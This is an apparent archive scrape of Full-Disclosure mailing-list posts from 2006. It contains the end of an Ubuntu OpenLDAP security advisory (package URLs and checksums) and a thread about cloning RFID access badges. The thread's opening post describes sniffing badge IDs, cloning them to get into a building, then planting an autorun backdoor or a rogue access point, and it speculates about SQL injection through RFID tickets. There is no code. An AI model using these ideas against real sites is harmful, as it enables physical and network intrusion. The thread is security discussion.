http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2-dev_2.1.30-3ubuntu3.2_amd64.deb
Size/MD5: 361334 2d589dc600e42bc19024170fcb728d39
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2_2.1.30-3ubuntu3.2_amd64.deb
Size/MD5: 309204 c13675910f7c21bb3e723592c6e495f2
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/slapd_2.1.30-3ubuntu3.2_amd64.deb
Size/MD5: 1088128 a3b2230434033fd0070d643b3c09c1d4
i386 architecture (x86 compatible Intel/AMD)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/ldap-utils_2.1.30-3ubuntu3.2_i386.deb
Size/MD5: 110870 7cbb5b6f1ba2118946c6811076b701fa
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2-dev_2.1.30-3ubuntu3.2_i386.deb
Size/MD5: 318170 8dab1fcba483d48cac5bcda3b0c4a58c
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2_2.1.30-3ubuntu3.2_i386.deb
Size/MD5: 284732 301a45c6f09a37332ea5a7b184e8c176
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/slapd_2.1.30-3ubuntu3.2_i386.deb
Size/MD5: 979438 ff72cd74acd311e16307286b6c598130
powerpc architecture (Apple Macintosh G3/G4/G5)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/ldap-utils_2.1.30-3ubuntu3.2_powerpc.deb
Size/MD5: 129774 2b223fe63713e7f4cfbdb434b251d69e
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2-dev_2.1.30-3ubuntu3.2_powerpc.deb
Size/MD5: 373308 bb5106479b3f3928f8eaf247a2c9af01
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/libldap2_2.1.30-3ubuntu3.2_powerpc.deb
Size/MD5: 302964 73c3c1603cd8a00e4a49f6486676ecb6
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2/slapd_2.1.30-3ubuntu3.2_powerpc.deb
Size/MD5: 1058408 e483f9a6ecbee4aee2dd196b399e15ed
Updated packages for Ubuntu 5.10:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26-3ubuntu0.1.diff.gz
Size/MD5: 495731 9e5ff179d3930bba207a013a9361f5b0
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26-3ubuntu0.1.dsc
Size/MD5: 1020 23742091bec8567bf0dfc5326657fb12
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26.orig.tar.gz
Size/MD5: 2626629 afc8700b5738da863b30208e1d3e9de8
amd64 architecture (Athlon64, Opteron, EM64T Xeon)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-3ubuntu0.1_amd64.deb
Size/MD5: 129756 57ed4fbea2a6c2b0de87878fc81417da
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-3ubuntu0.1_amd64.deb
Size/MD5: 164128 6e18cf1741f0b0dd7ab88279b052a1a3
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-3ubuntu0.1_amd64.deb
Size/MD5: 954370 635ae92d2157d53b2957b062e3dc5661
i386 architecture (x86 compatible Intel/AMD)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-3ubuntu0.1_i386.deb
Size/MD5: 118146 e50ccd57a1f71e904193040b47d5d59c
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-3ubuntu0.1_i386.deb
Size/MD5: 144742 162e0c8d96ab25641f1aa36e25ddd1d1
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-3ubuntu0.1_i386.deb
Size/MD5: 865922 e848677ebffa8f749d25d2d809e6f32c
powerpc architecture (Apple Macintosh G3/G4/G5)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-3ubuntu0.1_powerpc.deb
Size/MD5: 132322 5af4200f87b773f803585472cdb02d0b
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-3ubuntu0.1_powerpc.deb
Size/MD5: 155466 2b54e0326fa70088eea062590975ec36
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-3ubuntu0.1_powerpc.deb
Size/MD5: 954736 44a826baae1253ecb074f415e6bf7d38
sparc architecture (Sun SPARC/UltraSPARC)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-3ubuntu0.1_sparc.deb
Size/MD5: 121364 7345da5217fbfb8761347d3eb03d7f5e
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-3ubuntu0.1_sparc.deb
Size/MD5: 147560 cbb0badc7b85347112c19116ead6d3f2
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-3ubuntu0.1_sparc.deb
Size/MD5: 899418 14cce6ef47a4f84c1936b0a3704d81e1
Updated packages for Ubuntu 6.06 LTS:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26-5ubuntu2.1.diff.gz
Size/MD5: 514340 41d918c94861a09c91c720e58a8746b1
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26-5ubuntu2.1.dsc
Size/MD5: 1022 deab91ea4c8e19422e9cc4f1f32b49e3
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/openldap2.2_2.2.26.orig.tar.gz
Size/MD5: 2626629 afc8700b5738da863b30208e1d3e9de8
amd64 architecture (Athlon64, Opteron, EM64T Xeon)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-5ubuntu2.1_amd64.deb
Size/MD5: 130156 2bc0b9509a895aea193721624feb249b
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-5ubuntu2.1_amd64.deb
Size/MD5: 165566 ef6c9d06239fddf2b3412975c60d7fe4
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-5ubuntu2.1_amd64.deb
Size/MD5: 960764 6a2fd21f5e54e517f08196c859b186e2
i386 architecture (x86 compatible Intel/AMD)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-5ubuntu2.1_i386.deb
Size/MD5: 118086 ffa215efabd92e67fe620a6214b78d3c
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-5ubuntu2.1_i386.deb
Size/MD5: 145656 f2b0606f73d4829949b2c06abbb0ec10
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-5ubuntu2.1_i386.deb
Size/MD5: 872454 18a48a067b86be5154966cc787d49195
powerpc architecture (Apple Macintosh G3/G4/G5)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-5ubuntu2.1_powerpc.deb
Size/MD5: 132332 e5da252ccd064af45df00a604b9921ca
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-5ubuntu2.1_powerpc.deb
Size/MD5: 156718 fda4dd9465fd6796eda8bef9379db677
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-5ubuntu2.1_powerpc.deb
Size/MD5: 958870 728c6cd9b0dd4a74e48dd6734e058675
sparc architecture (Sun SPARC/UltraSPARC)
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/ldap-utils_2.2.26-5ubuntu2.1_sparc.deb
Size/MD5: 120398 2d899349a89ccaea09e074828249ba57
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/libldap-2.2-7_2.2.26-5ubuntu2.1_sparc.deb
Size/MD5: 147776 4c64e80390003866ef720c1276bc1f82
http://security.ubuntu.com/ubuntu/pool/main/o/openldap2.2/slapd_2.2.26-5ubuntu2.1_sparc.deb
Size/MD5: 902976 dcecebf79109357fdc8278b89d3f8bd2
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2.2 (GNU/Linux)
iD8DBQFEoQ5GDecnbV4Fd/IRAieVAJ9V9HPcThZBCvBx1xrEcK2TOBd5dACbBCke
oDQUjrGUl0bxhAe7SjD2VSg=
=7Op2
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
Every RFID that I have seen descriptions for (they're on websites for vendors!)
has a unique serial number that is manufactured in, and is designed not to be
writeable after manufacture. If someone does not use this information the part could
be "cloned" but the feature exists to block this.
-----Original Message-----
From: full-disclosure-bounceslists.grok.org.uk
[mailto:full-disclosure-bounceslists.grok.org.uk]On Behalf Of
mikeiscool
Sent: Tuesday, June 27, 2006 12:25 AM
To: Josh L. Perrymon
Cc: full-disclosurelists.grok.org.uk; dailydavelists.immunitysec.com
Subject: Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On 6/27/06, Josh L. Perrymon <joshuaperrymongmail.com> wrote:
> I was contacted by Eweek recently about previous posts about RFID and how it
> is being used at the World Cup and Olympics. This got me thinking a little
> more about some previous ideas I have had. I think the real risk is in RFID
> access cards.
>
> World Cup and Olympics are / will be using embedded RFID chips in tickets to
> ID ticketholders. Upon buying the tickets patrons provide a lot of personell
> details-
>
> This is stored in a Database and I suppose a unique ID is assigned to each
> ticket holder. Now internal security can identify each ticket holder and do
> whatever they want with the data. ( ID terrorists so on, I dont care. )
>
> Risks: Not a lot here-
> As long as the ID used on the ticket is unique and not associated with
> personell details. An attacker would have to embed an SQL injection into
> the RFID ticket or another RFID chip in their pocket to be parsed by the
> RFID reader / backend. I have't been involved in many of these systems but I
> will bet that input validation may not be built into the SDLC. But overall,
> injecting SQL to get a remote connection may be fairly involved and take
> several attempts. But deleting the DB may be a lot easier.
>
> My ideas on RFID risk in its current implementation:
> I'm thinking a lot of the risk with RFID would be within ID cards and
> physical security. I have been in 100's of companies that use RFID ID cards
> for physical security to access a building. Just rock up and swipe your
> badge in front of the reader right???
>
> What if an attacker was sitting at the cafe downstairs sniffing RFID ( Well,
> sending out RFID signals to power the chips and get a response ). Wouldn't
> it be trivial to obtain the STATIC ID codes stored on the RFID chips and
> write them to a generic chip? THis new card could easily be used to walk
> right in to the target company? As we all know.. once your inside it's
> trivial to root the entire network. Just insert your usb/ CD with an
> autorun backdoor sploit connecting outside OR plug in a small wireless AP.
>
> Go back down to the coffee shop and hack away.
>
> Is anyone addressing this RFID issue for access cards? At MINUMIUM a private
> PIN# should be used with this type of ID.
>
> I'd like to hear your ideas / comments.
eh?
surely a RFID would only communicate it's private token with a trusted
(i.e. keyed) source.
like a smartcard ...
> Cheers,
>
> Joshua Perrymon
> CEO
> Packet Focus Security Research
> www.packetfocus.com
> josh.perrymonpacketfocus.com
-- mic
CMLRA, Mirios
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
**********************************************************************
This transmission may contain information that is privileged, confidential and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. Thank you
**********************************************************************
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
As with a thousand other technologies, no one ever takes security
seriously until someone gets whacked over the head with a million dollar
loss or a bad news story on the front page of the New York Times. Time
and time again we see the same kind of mistakes repeated in different
technologies. We see people picking the cheaper technology (all the
security is the same isn't it?) and hiring cheap programmers (all
programmers have security backgrounds, don't they?) and deploying with
insane deadlines (they wouldn't take security shortcuts to make the
deadline, right?).
-----Original Message-----
*****************************************************************************
The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorized.
If you are not the intended recipient, any disclosure, copying, distribution or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. When addressed to our clients any opinions or advice contained in this email are subject to the terms and conditions expressed in the governing KPMG client engagement letter.
*****************************************************************************
From: full-disclosure-bounceslists.grok.org.uk
[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf Of
Valdis.Kletnieksvt.edu
Sent: Tuesday, June 27, 2006 12:57 AM
To: michaelslistsgmail.com
Cc: full-disclosurelists.grok.org.uk; dailydavelists.immunitysec.com
Subject: Re: [Full-disclosure] Sniffing RFID ID's ( Physical Security )
On Tue, 27 Jun 2006 14:24:35 +1000, mikeiscool said:
> eh?
>
> surely a RFID would only communicate it's private token with a trusted
> (i.e. keyed) source.
>
> like a smartcard ...
Well.. Yeah. That *would* make sense.
Unfortunately, some beancounter would likely realize they can shave
$0.02 per card by doing it the easy way, or that they can save $40K by
hiring a bonehead designer rather than a clued crypto geek.
If all software was actually designed and implemented to the "Surely it
would"
standard, most of the people on this list, both black and white hats,
would be unemployed. Fortunately for our collective ability to cover
our rent checks, almost all software has "Surely they *didn't*" flaws in
it....
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] 365,000 identities breached at Ohio University
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
